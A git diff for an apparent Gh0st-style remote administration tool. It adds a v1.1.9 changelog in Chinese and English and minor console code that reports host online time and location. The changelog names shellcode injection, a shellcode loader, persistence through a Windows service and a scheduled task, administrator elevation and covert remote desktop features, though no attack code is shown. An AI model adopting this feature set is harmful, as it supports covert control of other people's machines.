diff --git a/ReadMe.md b/ReadMe.md index 37ee6d6..3a56148 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -388,6 +388,48 @@ Release v1.1.4 * 插件: 添加示例插件项目供参考 * 新功能: 为进程管理添加 shellcode 注入功能 +**2025.12.14** + +发布版本 v1.1.9: + +本次更新重点提升客户端稳定性与运行模式、优化远程桌面性能,并新增多项实用功能。 + +* 改进: 修改 client/SimpleSCLoader.c +* 功能: 在进程管理中支持反黑屏功能 +* 改进: 为 `SCLoader` 添加调试代码 +* 功能: 在客户端构建选项中添加 `TinyRun.dll` +* 修复: 查看注册表导致主控程序崩溃的问题 +* 修复: 打开密码生成对话框会修改最大连接数 +* 功能: 在远程桌面控制中支持录制视频 +* 功能: 支持客户端以 Windows 服务方式运行 +* 功能: 为主控程序添加参数设置菜单 +* 功能: 在远程控制中添加切换屏幕的菜单 +* 修复: 注册表错误,并使用 [MT] 重新编译 zlib、x264 和 libyuv +* 功能: 为程序添加启动进度显示 +* 改进: 将多线程压缩设置为远程控制的可选项 +* 改进: 使用 SSE2 提升位图比较速度 +* 改进: 代码风格调整,并使用优化选项重新编译 zstd +* 修复: 客户端死机问题,改进大数据包发送 +* 改进: 减少 IOCPServer 中 new/delete 内存的频率 +* 修复: 某些情况下 "std::runtime_error" 导致崩溃 +* 修复: TestRun (MDLL) 配置不生效的问题 +* 功能: 支持将 TestRun 构建为 Windows 服务 +* 改进: 通过异步消息处理提升主控端效率 +* 改进: 请求以管理员身份运行主控程序 +* 功能: 为在线主机添加 shellcode 注入菜单 +* 修复: `Ghost` 以 Windows 服务方式运行失败 +* 日志: 为 FileUpload 库和服务安装添加日志 +* 修复: 使用自定义结构体替代 char 缓冲区 +* 修复: 使用 DXGI 时禁用 SSE2(会导致崩溃) +* 修复 (Windows 服务): 移除 AI 产生的冗余代码 +* 改进: 将客户端以管理员运行改为可选项 +* 修复: AudioManager 错误,移除 struct dlgInfo +* 修复: 注册计划任务失败的问题,并添加日志 +* 修复: 主控和客户端之间复制文本需要延迟 +* 改进: 在客户端构建选项中添加 `runasAdmin` +* 修复: 客户端离线问题和虚拟桌面打开问题 +* 改进: 为客户端程序计算唯一 ID + --- # 6.其他项目 diff --git a/ReadMe_EN.md b/ReadMe_EN.md index 17e5c36..a68be8d 100644 --- a/ReadMe_EN.md +++ b/ReadMe_EN.md @@ -405,6 +405,48 @@ and adds a plugin example. * plugin: Add an example plugin project for reference * Feature: Add shellcode injection feature for process management +**2025.12.14** + +Release v1.1.9 + +This update focuses on improving client stability and running modes, optimizing remote desktop performance, and adding several practical features. + +* Improve: Modify client/SimpleSCLoader.c +* Feature: Support anti black-screen in process management +* Improve: Add debug code for `SCLoader` +* Feature: Add `TinyRun.dll` to client building option +* fix: Viewing registry causing master program crash +* fix: Open password gen dialog will modify max connection +* Feature: Support recording video in remote desktop control +* Feature: Support client running as windows service +* Feature: Add parameters setting menu for master program +* Feature: Add menu to switch screen for remote control +* fix: Registry error and use [MT] to rebuild zlib, x264 and libyuv +* Feature: Add a startup progress display to the program +* Improve: Set multi-thread compression as a option for remote control +* Improve: Using SSE2 to improve bitmap compare speed +* Improve: Code style change and rebuild zstd with optimization options +* fix: Client dead issue and improve sending large packet +* Improve: Reduce new / delete memory frequency in IOCPServer +* fix: "std::runtime_error" causing crashes in some cases +* fix: TestRun (MDLL) configuration doesn't take effort +* Feature: Support build TestRun as windows service +* Improve: Master efficiency by using asynchronous message processing +* Improve: Ask for running master with administrator +* Feature: Add menu (online host) for injecting shellcode +* fix: `Ghost` run as windows service failed +* logs: Add log for FileUpload libraries and service installing +* fix: Use self-defined struct to replace char buffer +* fix: Disable SSE2 (which causes crash) while using DXGI +* fix (Windows Service): Remove the shit dropped by AI +* Improve: Change running client as admin to an option +* fix: AudioManager bug and remove struct dlgInfo +* fix: Register schedule task failed issue and add logs +* fix: Copy text between master and client need a delay +* Improve: Add `runasAdmin` to client building options +* fix: Client offline issue and virtual desktop opening issue +* Improve: Calculate unique ID for client program + --- # 6. Related Projects diff --git a/Releases/v1.1.8/Yama.exe b/Releases/v1.1.9/Yama.exe similarity index 70% rename from Releases/v1.1.8/Yama.exe rename to Releases/v1.1.9/Yama.exe index 93cb7c7..8198a03 100644 Binary files a/Releases/v1.1.8/Yama.exe and b/Releases/v1.1.9/Yama.exe differ diff --git a/client/Script.rc b/client/Script.rc index 5a4e4cb..1b5c7c1 100644 --- a/client/Script.rc +++ b/client/Script.rc @@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,0,1,8 + FILEVERSION 1,0,1,9 PRODUCTVERSION 1,0,0,1 FILEFLAGSMASK 0x3fL #ifdef _DEBUG @@ -106,7 +106,7 @@ BEGIN BEGIN VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "FileDescription", "A GHOST" - VALUE "FileVersion", "1.0.1.8" + VALUE "FileVersion", "1.0.1.9" VALUE "InternalName", "ServerDll.dll" VALUE "LegalCopyright", "Copyright (C) 2019-2025" VALUE "OriginalFilename", "ServerDll.dll" diff --git a/client/TestRun.rc b/client/TestRun.rc index 7822833..95f4497 100644 Binary files a/client/TestRun.rc and b/client/TestRun.rc differ diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 70bcbae..ed447ac 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index cf6d37e..04fb36e 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -777,7 +777,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName m_CList_Online.SetItemData(i, (DWORD_PTR)ContextObject); } std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : ""; - ShowMessage("操作成功",strIP + tip.c_str() + "主机上线"); + ShowMessage("操作成功",strIP + tip.c_str() + "主机上线[" + loc + "]"); LeaveCriticalSection(&m_cs); Mprintf("主机[%s]上线: %s\n", v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), std::to_string(id).c_str()); @@ -1673,6 +1673,12 @@ void CMy2015RemoteDlg::OnOnlineUpdate() } } +std::string floatToString(float f) { + char buf[32]; + snprintf(buf, sizeof(buf), "%.2f", f); + return std::string(buf); +} + void CMy2015RemoteDlg::OnOnlineDelete() { // TODO: 在此添加命令处理程序代码 @@ -1691,9 +1697,13 @@ void CMy2015RemoteDlg::OnOnlineDelete() context* ctx = (context*)m_CList_Online.GetItemData(iItem); m_CList_Online.DeleteItem(iItem); m_HostList.erase(ctx); + auto tm = ctx->GetAliveTime(); + std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" : + tm >= 3600 ? floatToString(tm / 3600.f) + " h" : + tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; ctx->Destroy(); strIP+="断开连接"; - ShowMessage("操作成功",strIP); + ShowMessage("操作成功",strIP + "[" + aliveInfo.c_str() + "]"); } LeaveCriticalSection(&m_cs); } @@ -2531,7 +2541,11 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) auto ctx = (context*)m_CList_Online.GetItemData(i); m_CList_Online.DeleteItem(i); m_HostList.erase(ctx); - ShowMessage("操作成功", ip + "主机下线"); + auto tm = ctx->GetAliveTime(); + std::string aliveInfo = tm>=86400 ? floatToString(tm / 86400.f) + " d" : + tm >= 3600 ? floatToString(tm / 3600.f) + " h" : + tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; + ShowMessage("操作成功", ip + "主机下线[" + aliveInfo.c_str() + "]"); break; } } @@ -3718,9 +3732,13 @@ void CMy2015RemoteDlg::OnOnlineUninstall() context* ctx = (context*)m_CList_Online.GetItemData(iItem); m_CList_Online.DeleteItem(iItem); m_HostList.erase(ctx); + auto tm = ctx->GetAliveTime(); + std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" : + tm >= 3600 ? floatToString(tm / 3600.f) + " h" : + tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; ctx->Destroy(); strIP += "断开连接"; - ShowMessage("操作成功", strIP); + ShowMessage("操作成功", strIP + "[" + aliveInfo.c_str() + "]"); } LeaveCriticalSection(&m_cs); } diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index f71b3d3..ef0f1ce 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -329,7 +329,7 @@ public: virtual int GetServerPort() const = 0; virtual FlagType GetFlagType() const = 0; virtual std::string GetGroupName() const = 0; - + virtual uint64_t GetAliveTime()const = 0; public: virtual ~context() {} virtual void Destroy() {} @@ -381,6 +381,7 @@ public: ikcpcb* kcp = nullptr; // 新增,指向KCP会话 std::string GroupName; // 分组名称 CLock SendLock; // fix #214 + time_t OnlineTime; // 上线时间 // 预分配的解压缩缓冲区,避免频繁内存分配 PBYTE DecompressBuffer = nullptr; @@ -481,6 +482,10 @@ public: bLogin = FALSE; m_bProxyConnected = FALSE; server = svr; + OnlineTime = time(0); + } + uint64_t GetAliveTime()const { + return time(0) - OnlineTime; } Server* GetServer() {